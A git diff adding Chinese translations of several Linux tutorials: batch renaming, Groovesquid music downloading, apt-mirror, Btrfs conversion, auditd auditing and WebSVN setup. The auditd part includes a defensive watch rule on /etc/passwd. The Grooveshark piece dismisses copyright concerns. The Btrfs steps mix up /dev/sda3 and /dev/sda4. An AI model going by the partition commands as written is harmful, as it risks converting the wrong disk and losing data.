**提问**:我知道我可以用mv命令重命名文件。但是当我想重命名很多文件怎么办?如果为每个文件都这么做将会是很乏味的。有没有办法一次性重命名多个文件? + +在Linux中,当你想要改变一个文件名,使用mv命令就好了。然而mv不能使用通配符重命名多个文件。可以用sed、awk或者与[xargs][1]结合使用来处理多个文件的情况。然而,这些命令行即繁琐又不友好,并且如果不小心的话还很容易出错。你不会想要撤销1000个文件的错误名吧! + +当你想要重命名多个文件的时候,rename 工具或许是最简单、最安全和最强大的命令行工具。这个rename命令实际上是一个Perl脚本,它预安装在所有的现在Linux发行版上。 + +下面是重命名命令的基本语法。 + + rename [-v -n -f] + +\ 是Perl兼容正则表达式,它表示的是要重命名的文件和该怎么做。正则表达式的形式是‘s/old-name/new-name/’。 + +‘-v’选项会显示文件名改变的细节(比如:XXX重命名成YYY)。 + +‘-n’选项告诉rename命令在不实际改变名称的情况下显示文件将会重命名的情况。这个选项在你想要在不改变文件名的情况下模拟改变文件名的情况下很有用。 + +‘-f’选项强制覆盖存在的文件。 + +下面,就让我们看下rename命令的几个实际例子。 + +### 改变文件扩展名 ### + +假设你有许多.jpeg的图片文件。你想要把它们的名字改成*.jpg。下面的命令就会将*.jpeg 文件改成 *.jpg。 + + $ rename 's/\.jpeg$/\.jpg/' *.jpeg + +### 大写改成小写,反之亦然 ### + +有时你想要改变文件名的大小写,你可以使用下面的命令。 + +把所有的文件改成小写: + + # rename 'y/A-Z/a-z/' * + +把所有的文件改成大写: + + # rename 'y/a-z/A-Z/' * + +![](https://farm9.staticflickr.com/8655/16054304245_bcf9d23b59_b.jpg) + +### 更改文件名模式 ### + +现在让我们考虑更复杂的包含子模式的正则表达式。在PCRE中,子模式包含在圆括号中,$符后接上数字(比如$1,$2)。 + +比如,下面的命令会将‘img_NNNN.jpeg’变成‘dan_NNNN.jpg’。 + + # rename -v 's/img_(\d{4})\.jpeg$/dan_$1\.jpg/' *.jpeg + +---------- + + img_5417.jpeg renamed as dan_5417.jpg + img_5418.jpeg renamed as dan_5418.jpg + img_5419.jpeg renamed as dan_5419.jpg + img_5420.jpeg renamed as dan_5420.jpg + img_5421.jpeg renamed as dan_5421.jpg + +比如,下面的命令会将‘img\_000NNNN.jpeg’变成‘dan\_NNNN.jpg’。 + + # rename -v 's/img_\d{3}(\d{4})\.jpeg$/dan_$1\.jpg/' *jpeg + +---------- + + img_0005417.jpeg renamed as dan_5417.jpg + img_0005418.jpeg renamed as dan_5418.jpg + img_0005419.jpeg renamed as dan_5419.jpg + img_0005420.jpeg renamed as dan_5420.jpg + img_0005421.jpeg renamed as dan_5421.jpg + +上面的例子中,子模式‘\d{4}’会捕捉4个连续的数字,捕捉的四个数字就是$1, 将会用于新的文件名。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/rename-multiple-files-linux.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/xargs-command-linux.html \ No newline at end of file diff --git a/published/201502/20141226 How to Download Music from Grooveshark with a Linux OS.md b/published/201502/20141226 How to Download Music from Grooveshark with a Linux OS.md new file mode 100644 index 0000000000..b6ecc8acbd --- /dev/null +++ b/published/201502/20141226 How to Download Music from Grooveshark with a Linux OS.md @@ -0,0 +1,47 @@ +如何使用 Linux 从 Grooveshark 下载音乐 +================================================================================ +> 解决办法通常没有那么难 + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Download-Music-from-Grooveshark-with-a-Linux-OS-468268-2.jpg) + +**Grooveshark 对于喜欢音乐的人来说是一个不错的在线平台,同时有多种从上面下载音乐的方法。Groovesquid 是众多允许用户从 Grooveshark 上下载音乐的应用之一,并且是支持多平台的。** + +只要有在线流媒体服务,就一定有方法将你看过或听过的视频及音乐保存到本地。即使下载接口关闭了,也不是什么大不了的事,因为还有很多种解决方法,无论你用的什么操作系统。比如,网络上就有许多种 YouTube 下载器,同样的道理,从 Grooveshark 上下载音乐也并非难事。 + +现在,得考虑合法性的问题。与许多其他应用一样,Groovesquid 并非是完全不合法的。如果有用户使用应用去做一些非法的事情,那责任应归咎于用户。同样的道理也适用于 utorrent 或者 Bittorrent。只要你不触及版权问题,那你就可以无所顾忌的使用 Groovesquid 了。 + +### 快捷高效的 Groovesquid ### + +你能够找到的 Groovesquid 的唯一缺点是,它是基于 Java 而编写的,这从来都不是一个好的兆头。虽然为了确保应用的可移植性这样做确实是一个好方法,但这样做的结果导致了其糟糕的界面。确实是非常糟糕的的界面,不过这一点并不会影响到用户的使用体验,特别是这款应用所完成的工作时如此的有用。 + +有一点需要注意的地方。Groovesquid 是一款免费的应用,但为了将免费保持下去,它会在菜单栏的右侧显示一则广告。这对大多数人来说都应该不是问题,不过最好在打开应用后注意下菜单栏右侧(那不是应用的一部分)。 + +从易用性的角度来看,这款应用非常简洁。用户可以通过在顶部地址栏里输入链接直接下载单曲,地址栏的位置可以通过其左侧的下拉菜单进行修改。在下拉菜单中,也可以修改为歌曲名称、流行度、专辑名称、播放列表以及艺术家。有些选项向你提供了诸如查看 Grooveshark 上最流行的音乐,或者下载整个播放列表等。 + +你可以下载 Groovesquid 0.7.0 + +- [jar][1] 文件大小:3.8 MB +- [tar.gz][2] 文件大小:549 KB + +下载完 Jar 文件后,你所需要做的是将其权限修改为可执行,然后让 Java 来完成剩下的工作。 + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Download-Music-from-Grooveshark-with-a-Linux-OS-468268-3.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Download-Music-from-Grooveshark-with-a-Linux-OS-468268-4.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Download-Music-from-Grooveshark-with-a-Linux-OS-468268-5.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Download-Music-from-Grooveshark-with-a-Linux-OS-468268-6.jpg) +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Download-Music-from-Grooveshark-with-a-Linux-OS-468268.shtml + +作者:[Silviu Stahie][a] +译者:[Stevearzh](https://github.com/Stevearzh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:https://github.com/groovesquid/groovesquid/releases/download/v0.7.0/Groovesquid.jar +[2]:https://github.com/groovesquid/groovesquid/archive/v0.7.0.tar.gz diff --git a/published/201502/20141229 4 Steps to Setup Local Repository in Ubuntu using APT-mirror.md b/published/201502/20141229 4 Steps to Setup Local Repository in Ubuntu using APT-mirror.md new file mode 100644 index 0000000000..dc9d72ef77 --- /dev/null +++ b/published/201502/20141229 4 Steps to Setup Local Repository in Ubuntu using APT-mirror.md @@ -0,0 +1,125 @@ +使用 APT-mirror 四步配置 Ubuntu 本地软件仓库 +================================================================================ +今天,我们将向你展示如何在你的 Ubuntu 个人电脑或 Ubuntu 服务器中,直接通过 Ubuntu 官方软件仓库来配置本地软件仓库。在你的电脑中创建一个本地软件仓库有着许多的好处。假如你有许多电脑需要安装软件 、安全升级和修复补丁,那么配置一个本地软件仓库是一个做这些事情的高效方法。因为,所有需要安装的软件包都可以通过快速的局域网连接从你的本地服务器中下载,这样可以节省你的网络带宽,降低互联网接入的年度开支 ... + +你可以使用多种工具在你的本地个人电脑或服务器中配置一个 Ubuntu 的本地软件仓库,但在本教程中,我们将为你介绍 APT-Mirror。这里,我们将把默认的镜像包镜像到我们本地的服务器或个人电脑中,并且在你的本地或外置硬盘中,我们至少需要 **120 GB** 或更多的可用空间才行。 我们可以通过配置一个 **HTTP** 或 **FTP** 服务器来与本地系统客户端共享这个软件仓库。 + +我们需要安装 Apache 网络服务器和 APT-Mirror 来使得我们的工作得以开始。下面是配置一个可工作的本地软件仓库的步骤: + +### 1. 安装需要的软件包 ### + +我们需要从 Ubuntu 的公共软件包仓库中取得所有的软件包,然后在我们本地的 Ubuntu 服务器硬盘中保存它们。 + +首先我们安装一个Web 服务器来承载我们的本地软件仓库。这里我们将安装 Apache Web 服务器,但你可以安装任何你中意的 Web 服务器。对于 http 协议,Web 服务器是必须的。假如你需要配置 ftp 协议 及 rsync 协议,你还可以再分别额外安装 FTP 服务器,如 proftpd, vsftpd 等等 和 Rsync 。 + + $ sudo apt-get install apache2 + +然后我们需要安装 apt-mirror: + + $ sudo apt-get install apt-mirror + +![apt-mirror-installation](http://blog.linoxide.com/wp-content/uploads/2014/12/apt-mirror-install.png) + +**注: 正如我先前提到的,我们需要至少 120 GB 的可用空间来使得所有的软件包被镜像或下载。** + +### 2. 配置 APT-Mirror ### + +现在,在你的硬盘上创建一个目录来保存所有的软件包。例如,我们创建一个名为 `/linoxide`的目录,我们将在这个目录中保存所有的软件包: + + $ sudo mkdir /linoxide + +![repo-dir](http://blog.linoxide.com/wp-content/uploads/2014/12/mkdir-linoxide.png) + +现在,打开文件 **/etc/apt/mirror.list** : + + $ sudo nano /etc/apt/mirror.list + +![apt-mirror-edit](http://blog.linoxide.com/wp-content/uploads/2014/12/edit-mirror-list-300x7.png) + +复制下面的命令行配置到 `mirror.list`文件中并按照你的需求进行修改: + + ############# config ################## + # + set base_path /linoxide + # + # set mirror_path $base_path/mirror + # set skel_path $base_path/skel + # set var_path $base_path/var + # set cleanscript $var_path/clean.sh + # set defaultarch + # set postmirror_script $var_path/postmirror.sh + # set run_postmirror 0 + set nthreads 20 + set _tilde 0 + # + ############# end config ############## + + deb http://archive.ubuntu.com/ubuntu trusty main restricted universe multiverse + deb http://archive.ubuntu.com/ubuntu trusty-security main restricted universe multiverse + deb http://archive.ubuntu.com/ubuntu trusty-updates main restricted universe multiverse + #deb http://archive.ubuntu.com/ubuntu trusty-proposed main restricted universe multiverse + #deb http://archive.ubuntu.com/ubuntu trusty-backports main restricted universe multiverse + + deb-src http://archive.ubuntu.com/ubuntu trusty main restricted universe multiverse + deb-src http://archive.ubuntu.com/ubuntu trusty-security main restricted universe multiverse + deb-src http://archive.ubuntu.com/ubuntu trusty-updates main restricted universe multiverse + #deb-src http://archive.ubuntu.com/ubuntu trusty-proposed main restricted universe multiverse + #deb-src http://archive.ubuntu.com/ubuntu trusty-backports main restricted universe multiverse + + clean http://archive.ubuntu.com/ubuntu + +![mirror-list-config](http://blog.linoxide.com/wp-content/uploads/2014/12/mirror-list-config.png) + +**注: 你可以将上面的官方镜像服务器网址更改为离你最近的服务器的网址,可以通过访问 [Ubuntu Mirror Server][1]来找到这些服务器地址。假如你并不太在意镜像完成的时间,你可以沿用默认的官方镜像服务器网址。** + +这里,我们将要镜像最新和最大的 Ubuntu LTS 发行版 --- 即 Ubuntu 14.04 LTS (Trusty Tahr) --- 的软件包仓库,所以在上面的配置中发行版本号为 trusty 。假如我们需要镜像 Saucy 或其他的 Ubuntu 发行版本,请修改上面的 trusy 为相应的代号。 + +现在,我们必须运行 apt-mirror 来下载或镜像官方仓库中的所有软件包。 + + sudo apt-mirror + +从 Ubuntu 服务器中下载所有的软件包所花费的时间取决于你和镜像服务器之间的网络连接速率和性能。这里我中断了下载,因为我已经下载好了 ... + +![downloading-packages](http://blog.linoxide.com/wp-content/uploads/2014/12/downloading-index.png) + +### 3.配置网络服务器 ### + +为了使得其他的电脑能够访问这个软件仓库,你需要一个Web服务器。你也可以通过 ftp 来完成这件事,但我选择使用一个Web服务器因为在上面的步骤 1 中我提及到使用Web服务器。因此,我们现在要对 Apache 服务器进行配置: + +我们将为我们本地的软件仓库目录 建立一个到 Apache 托管目录 --- 即 `/var/www/ubuntu` --- 的符号链接。 + + $ sudo ln -s /linoxide /var/www/ubuntu + $ sudo service apache2 start + +![symlinks-apache2](http://blog.linoxide.com/wp-content/uploads/2014/12/symblink-apache2.png) + +上面的命令将允许我们从本地主机(localhost) --- 即 http://127.0.0.1(默认情况下) --- 浏览我们的镜像软件仓库。 + +### 4. 配置客户端 ### + +最后,我们需要在其他的电脑中添加软件源,来使得它们可以从我们的电脑中取得软件包或软件仓库。为达到此目的,我们需要编辑 `/etc/apt/sources.list` 文件并添加下面的命令: + + $ sudo nano /etc/apt/sources.list + +添加下面的一行到` /etc/apt/sources.list`中并保存。 + + deb http://192.168.0.100/ubuntu/ trusty main restricted universe + +**注: 这里的 192.168.0.100 是我们的服务器电脑的局域网 IP 地址,你需要替换为你的服务器电脑的局域网 IP 地址** + + $ sudo apt-get update + +最终,我们完成了任务。现在,你可以使用`sudo apt-get install packagename` 命令来从你的本地 Ubuntu 软件仓库中安装所需的软件包,这将会是高速的且消耗很少的带宽。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/setup-local-repository-ubuntu/ + +作者:[Arun Pyasi][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://launchpad.net/ubuntu/+archivemirrors diff --git a/published/201502/20141229 How to Create Btrfs Filesystem in Linux and its Features.md b/published/201502/20141229 How to Create Btrfs Filesystem in Linux and its Features.md new file mode 100644 index 0000000000..9439ace204 --- /dev/null +++ b/published/201502/20141229 How to Create Btrfs Filesystem in Linux and its Features.md @@ -0,0 +1,84 @@ +Btrfs文件系统在Linux中的创建及其特性 +================================================================================ + +**Btrfs**(B-tree file system,B-tree文件系统)是针对Linux开发的一个新的CoW(copy-on-write,写时复制)文件系统。它最初是由[甲骨文公司][1]在2007年着手开始开发的,并在2014年8月正式发布其稳定版。开发Btrfs的目的在于解决Linux文件系统中缺少池、快照、校验和以及集成的跨多设备访问等问题,目标在于实现Linux的规模化存储。规模化不仅仅是指解决存储问题,也意味着通过简洁的界面提供对存储的管控和管理能力,让大家能看到已使用的内容并使它更可靠。 + +你应该注意到,Btrfs才刚刚发布稳定版,所以强烈推荐你使用最新版的内核以避免可能出现的问题和漏洞。 + +### Btrfs特性 ### + +新文件系统的最重要的特性有: + +- 基于扩展的文件存储 +- 文件大小上限16EiB +- 小文件和索引目录的高效空间利用 +- 动态索引节点分配 +- 支持快照可写和快照只读 +- 子卷(分离内部文件系统的根) +- 支持数据和元数据的校验和 +- 压缩 (gzip和LZO) +- 整合的多设备支持 +- 支持文件条块化、文件镜像和文件条块化+镜像三种部署方案 +- 高效的增量备份 +- 后台消除进程支持查找和修复冗余副本上的文件错误 +- 支持在线文件系统碎片整理和离线文件系统检查 +- Btrfs文件系统对RAID 5/RAID 6加强支持,[在linux 3.19中添加了许多漏洞修补][2] + +你可以在此关于本主题的维基文章中[阅读关于新特性的内容][3]。 + +### 转换到Btrfs ### + +**警告:在尝试转换文件系统前,请务必备份数据!虽然此操作很稳定,也很安全,但它仍然可能导致数据丢失,而防止此情况发生的唯一途径就是进行数据备份。** + +将现存的ext4文件系统转换到btrfs是相当简单而易懂的。你首先需要使用fsck来检查你现存分区上是否存在错误,然后使用btrfs-convert命令进行转换。如果你想要对/dev/sda3分区进行转换,你可以进行以下操作: + + # fsck.ext4 /dev/sda4 + # btrfs-convert /dev/sda4 + +然后,你就可以使用mount命令将它挂载到你想要的任何位置。 + +![btrfs-convert](http://blog.linoxide.com/wp-content/uploads/2014/11/btrfs-convert.jpg) + +### 转换根分区 ### + +如果你想要对你系统上的根分区进行转换,你首先需要使用Live CD启动。对于Ubuntu,你可以使用Ubuntu安装盘来完成此操作,在启动后第一个屏幕选择“尝试Ubuntu”。对于其它系统,你同样可以使用Live CD镜像,操作类似。 + +在启动后,打开终端,使用下面的命令来转换文件系统。 + + # fsck.ext4 /dev/sda1 + # btrfs-convert /dev/sda1 + +接下来,chroot到文件系统,这样你就可以修改fstab并重新安装grub了。 + + # mount /dev/sda1 /mnt + # for i in dev dev/pts proc sys ; do mount --bind /$i /mnt/$i ; done + # chroot /mnt + # blkid | grep sda1 + +![btrfs-root-convert](http://blog.linoxide.com/wp-content/uploads/2014/11/btrfs-root-convert.jpg) + +现在来编辑fstab,并根据blkid输出的结果来修改当前“/”文件系统的UUID,并将它的文件系统类型修改为btrfs,修改后的行如下: + + UUID=8e7e80aa-337e-4179-966d-d60128bd3714 / btrfs defaults 0 1 + +然后,重新安装Grub: + + # grub-install /dev/sda + # update-grub + +现在,你可以把启动光盘丢到一边了,重启机器后,你就可以使用新的文件系统了。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/file-system/create-btrfs-features/ + +作者:[Adrian Dinu][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ +[1]:http://www.oracle.com/index.html +[2]:http://lkml.iu.edu/hypermail/linux/kernel/1412.1/03583.html +[3]:https://btrfs.wiki.kernel.org/index.php/Main_Page#Features diff --git a/published/201502/20150104 Auditd--Tool for Security Auditing on Linux Server.md b/published/201502/20150104 Auditd--Tool for Security Auditing on Linux Server.md new file mode 100644 index 0000000000..3e528fffa6 --- /dev/null +++ b/published/201502/20150104 Auditd--Tool for Security Auditing on Linux Server.md @@ -0,0 +1,213 @@ +Auditd - Linux 服务器安全审计工具 +================================================================================ +首先,Linux中国祝贺读者 **2015羊年春节快乐,万事如意!** 。下面开始这个新年版审计工具的介绍。 + +安全防护是首先要考虑的问题。为了避免别人盗取我们的数据,我们需要时刻关注它。安全防护包括很多东西,审计是其中之一。 + +我们知道Linux系统上有一个叫 **auditd** 的审计工具。这个工具在大多数Linux操作系统中是默认安装的。那么auditd 是什么?如何使用呢?下面我们开始介绍。 + +### 什么是审计? ### + +auditd(或 auditd 守护进程)是Linux审计系统中用户空间的一个组件,其负责将审计记录写入磁盘。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/what_is_auditd.png) + +### 安装 auditd ### + +Ubuntu系统中,我们可以使用 [wajig][1] 工具或者 **apt-get 工具** 安装auditd。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/install_auditd.png) + +按照下面的说明安装auditd,安装完毕后将自动安装以下auditd和相关的工具: + +- **auditctl :** 即时控制审计守护进程的行为的工具,比如如添加规则等等。 +- **/etc/audit/audit.rules :** 记录审计规则的文件。 +- **aureport :** 查看和生成审计报告的工具。 +- **ausearch :** 查找审计事件的工具 +- **auditspd :** 转发事件通知给其他应用程序,而不是写入到审计日志文件中。 +- **autrace :** 一个用于跟踪进程的命令。 +- **/etc/audit/auditd.conf :** auditd工具的配置文件。 + +首次安装 **auditd** 后, 审计规则是空的。 + +可以使用以下命令查看: + + $ sudo auditctl -l + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/auditctl_no_rules.png) + +以下我们介绍如何给auditd添加审计规则。 + +### 如何使用auditd ### + +#### Audit 文件和目录访问审计 #### + +我们使用审计工具的一个基本的需求是监控文件和目录的更改。使用auditd工具,我们可通过如下命令来配置(注意,以下命令需要root权限)。 + +**文件审计** + + $ sudo auditctl -w /etc/passwd -p rwxa + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/auditctl_w_etc_passwd.png) + +**选项 :** + +- **-w path :** 指定要监控的路径,上面的命令指定了监控的文件路径 /etc/passwd +- **-p :** 指定触发审计的文件/目录的访问权限 +- **rwxa :** 指定的触发条件,r 读取权限,w 写入权限,x 执行权限,a 属性(attr) + +#### 目录审计 #### + +使用类似的命令来对目录进行审计,如下: + + $ sudo auditctl -w /production/ + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/auditctl_w_production.png) + +以上命令将监控对 **/production 目录** 的所有访问。 + +现在,运行 **auditctl -l** 命令即可查看所有已配置的规则。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/auditctl_rules.png) + +下面开始介绍审计日志。 + +### 查看审计日志 ### + +添加规则后,我们可以查看 auditd 的日志。使用 **ausearch** 工具可以查看auditd日志。 + +我们已经添加规则监控 /etc/passwd 文件。现在可以使用 **ausearch** 工具的以下命令来查看审计日志了。 + + $ sudo ausearch -f /etc/passwd + +- **-f** 设定ausearch 调出 /etc/passwd文件的审计内容 + +下面是输出 : + +> **time**->Mon Dec 22 09:39:16 2014 + +> type=PATH msg=audit(1419215956.471:194): item=0 **name="/etc/passwd"** inode=142512 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL + +> type=CWD msg=audit(1419215956.471:194): **cwd="/home/pungki"** + +> type=SYSCALL msg=audit(1419215956.471:194): arch=40000003 **syscall=5** success=yes exit=3 a0=b779694b a1=80000 a2=1b6 a3=b8776aa8 items=1 ppid=2090 pid=2231 **auid=4294967295 uid=1000 gid=1000** euid=0 suid=0 fsuid=0 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=4294967295 **comm="sudo" exe="/usr/bin/sudo"** key=(null) + + 下面开始解读输出结果。 + +- **time :** 审计时间。 +- **name :** 审计对象 +- **cwd :** 当前路径 +- **syscall :** 相关的系统调用 +- **auid :** 审计用户ID +- **uid 和 gid :** 访问文件的用户ID和用户组ID +- **comm :** 用户访问文件的命令 +- **exe :** 上面命令的可执行文件路径 + +以上审计日志显示文件未被改动。 + +以下我们将要添加一个用户,看看auditd如何记录文件 /etc/passwd的改动的。 + +> **time->**Mon Dec 22 11:25:23 2014 + +> type=PATH msg=audit(1419222323.628:510): item=1 **name="/etc/passwd.lock"** inode=143992 dev=08:01 mode=0100600 ouid=0 ogid=0 rdev=00:00 nametype=DELETE + +> type=PATH msg=audit(1419222323.628:510): item=0 **name="/etc/"** inode=131073 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT + +> type=CWD msg=audit(1419222323.628:510): **cwd="/root"** + +> type=SYSCALL msg=audit(1419222323.628:510): arch=40000003 **syscall=10** success=yes exit=0 a0=bfc0ceec a1=0 a2=bfc0ceec a3=897764c items=2 ppid=2978 pid=2994 **auid=4294967295 uid=0 gid=0** euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=4294967295 **comm="chfn" exe="/usr/bin/chfn"** key=(null) + +我们可以看到,在指定的时间,**/etc/passwd ** 被root用户(uid =0, gid=0)在/root目录下修改。/etc/passwd 文件是使用**/usr/bin/chfn** 访问的。 + +键入 **man chfn** 可以查看有关chfn更多的信息。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/chfn.png) + +下面我们看另外一个例子。 + +我们已经配置auditd去监控目录 /production/ 了。这是个新目录。所以我们用ausearch去查看日志的时候会发现什么都没有。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/ausearch_production_empty.png) + +下一步,使用root账户的ls命令列出 /production/ 下的文件信息。再次使用ausearch后,将会显示一些信息。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/ausearch_production_ls.png) + +> **time->**Mon Dec 22 14:18:28 2014 +> type=PATH msg=audit(1419232708.344:527): item=0 **name="/production/"** inode=797104 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL +> type=CWD msg=audit(1419232708.344:527): cwd="/root" +> type=SYSCALL msg=audit(1419232708.344:527): arch=40000003 syscall=295 success=yes exit=3 a0=ffffff9c a1=95761e8 a2=98800 a3=0 items=1 ppid=3033 pid=3444 **auid=4294967295 uid=0 gid=0** euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=4294967295 **comm="ls" exe="/bin/ls"** key=(null) + +和上一个一样,可以得出root账户使用ls命令访问了/production/目录,ls命令的文件目录是 /bin/ls + +### 查看审计报告 ### + +一旦定义审计规则后,它会自动运行。过一段时间后,我们可以看看auditd是如何帮我们跟踪审计的。 + +Auditd提供了另一个工具叫 **aureport** 。从名字上可以猜到, **aureport** 是使用系统审计日志生成简要报告的工具。 + +我们已经配置auditd去跟踪/etc/passwd文件。auditd参数设置后一段时间后,audit.log 文件就创建出来了。 + +生成审计报告,我们可以使用aureport工具。不带参数运行的话,可以生成审计活动的概述。 + + $ sudo aureport + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/aureport_2.png) + +如上,报告包含了大多数重要区域的信息。 + +上图可以看出有 **3 次授权失败**。 使用aureport,我们可以深入查看这些信息。 + +使用以下命令查看授权失败的详细信息: + + $ sudo aureport -au + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/aureport_authentication.png) + +从上图可以看出,由两个用户在特定的时间授权失败。 + +如果我们想看所有账户修改相关的事件,可以使用-m参数。 + + $ sudo aureport -m + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/aureport_m.png) + +### Auditd 配置文件 ### + +我们已经添加如下规则: + +- $ sudo auditctl -w /etc/passwd -p rwxa +- $ sudo auditctl -w /production/ + +现在,如果确信这些规则可以正常工作,我们可以将其添加到**/etc/audit/audit.rules**中使得规则永久有效。以下介绍如何将他们添加到/etc/audit/audit.rules中去。 + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/audit_rules_file.png) + +**最后,别忘了重启auditd守护程序** + + # /etc/init.d/auditd restart + +或 + + # service auditd restart + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/audit_restart.png) + +### 总结 ### + +Auditd是Linux上的一个审计工具。你可以阅读auidtd文档获取更多使用auditd和工具的细节。例如,输入 **man auditd** 去看auditd的详细说明,或者键入 **man ausearch** 去看有关 ausearch 工具的详细说明。 + +**请谨慎创建规则**。太多规则会使得日志文件急剧增大! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/how-tos/auditd-tool-security-auditing/ + +作者:[Pungki Arianto][a] +译者:[shipsw](https://github.com/shipsw) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/pungki/ +[1]:http://linoxide.com/tools/wajig-package-management-debian/ diff --git a/published/201502/20150104 How To Install Websvn In CentOS 7.md b/published/201502/20150104 How To Install Websvn In CentOS 7.md new file mode 100644 index 0000000000..b1b8f87407 --- /dev/null +++ b/published/201502/20150104 How To Install Websvn In CentOS 7.md @@ -0,0 +1,111 @@ +在 CentOS 7中安装Websvn +================================================================================ +**WebSVN**为你的Subversion提供了一个视图,其设计用来对应Subversion的各种功能。你可以检查任何文件或目录的日志,以及查看任何指定版本中所修改、添加或删除过的文件列表。你也可以检查同一文件两个版本的不同之处,以便确切地查看某个特定的修订版本的变化。 + +### 特性 ### + +WebSVN提供了以下这些特性: + +- 易于使用的界面; +- 可自定义的模板系统; +- 彩色文件列表; +- 过错视图; +- 日志信息搜索; +- 支持RSS订阅; + +### 安装 ### + +我按以下链接来将Subversion安装到CentOS 7。 + +- [CentOS 7上如何安装Subversion][1] + +**1 – 下载websvn到/var/www/html。** + + cd /var/www/html + wget http://websvn.tigris.org/files/documents/1380/49057/websvn-2.3.3.zip + +**2 – 解压zip包。** + + unzip websvn-2.3.3.zip + mv websvn-2.3.3 websvn + +**3 – 安装php到你的系统。** + + yum install php + +**4 – 编辑web svn配置。** + + cd /var/www/html/websvn/include + cp distconfig.php config.php + vi config.php + +---------- + + // Configure these lines if your commands aren't on your path. + // + $config->setSVNCommandPath('/usr/bin'); // e.g. c:\\program files\\subversion\\bin + $config->setDiffPath('/usr/bin'); +---------- + // For syntax colouring, if option enabled... + $config->setEnscriptPath('/usr/bin'); + $config->setSedPath('/bin'); +---------- + // For delivered tarballs, if option enabled... + $config->setTarPath('/bin'); +---------- + // For delivered GZIP'd files and tarballs, if option enabled... + $config->setGZipPath('/bin'); +---------- + // + $config->parentPath('/svn/'); +---------- + $extEnscript[".pl"] = "perl"; + $extEnscript[".py"] = "python"; + $extEnscript[".sql"] = "sql"; + $extEnscript[".java"] = "java"; + $extEnscript[".html"] = "html"; + $extEnscript[".xml"] = "html"; + $extEnscript[".thtml"] = "html"; + $extEnscript[".tpl"] = "html"; + $extEnscript[".sh"] = "bash"; + ~ + +保存并退出。 + +**6 – 重新加载apache并启动websvn链接http://ip/websvn。** + +![websvn](http://180016988.r.cdn77.net/wp-content/uploads/2015/01/websvn.png) + +一切搞定。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-websvn-centos-7/ + +作者:[M.el Khamlichi][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/pirat9/ +[1]:http://www.unixmen.com/install-subversion-centos-7/ +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: diff --git a/published/201502/20150105 How To Install Kodi 14 (XBMC) In Ubuntu 14.04 and Linux Mint 17.md b/published/201502/20150105 How To Install Kodi 14 (XBMC) In Ubuntu 14.04 and Linux Mint 17.md new file mode 100644 index 0000000000..64e065fa5b --- /dev/null +++ b/published/201502/20150105 How To Install Kodi 14 (XBMC) In Ubuntu 14.04 and Linux Mint 17.md @@ -0,0 +1,50 @@ +如何在 Ubuntu 14.04 和 Linux Mint 17 中安装 Kodi14(XBMC) +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Kodi_Xmas.jpg) + +[Kodi][1],原名就是大名鼎鼎的XBMC,发布了开发代号为Helix的[最新版本14][2]。感谢官方XMBC提供的PPA,现在可以很简单地在Ubuntu14.04中安装了。 + +有些人可能还不了解Kodi,它是一个媒体中心软件,支持所有平台,如Windows、Linux、 Mac, 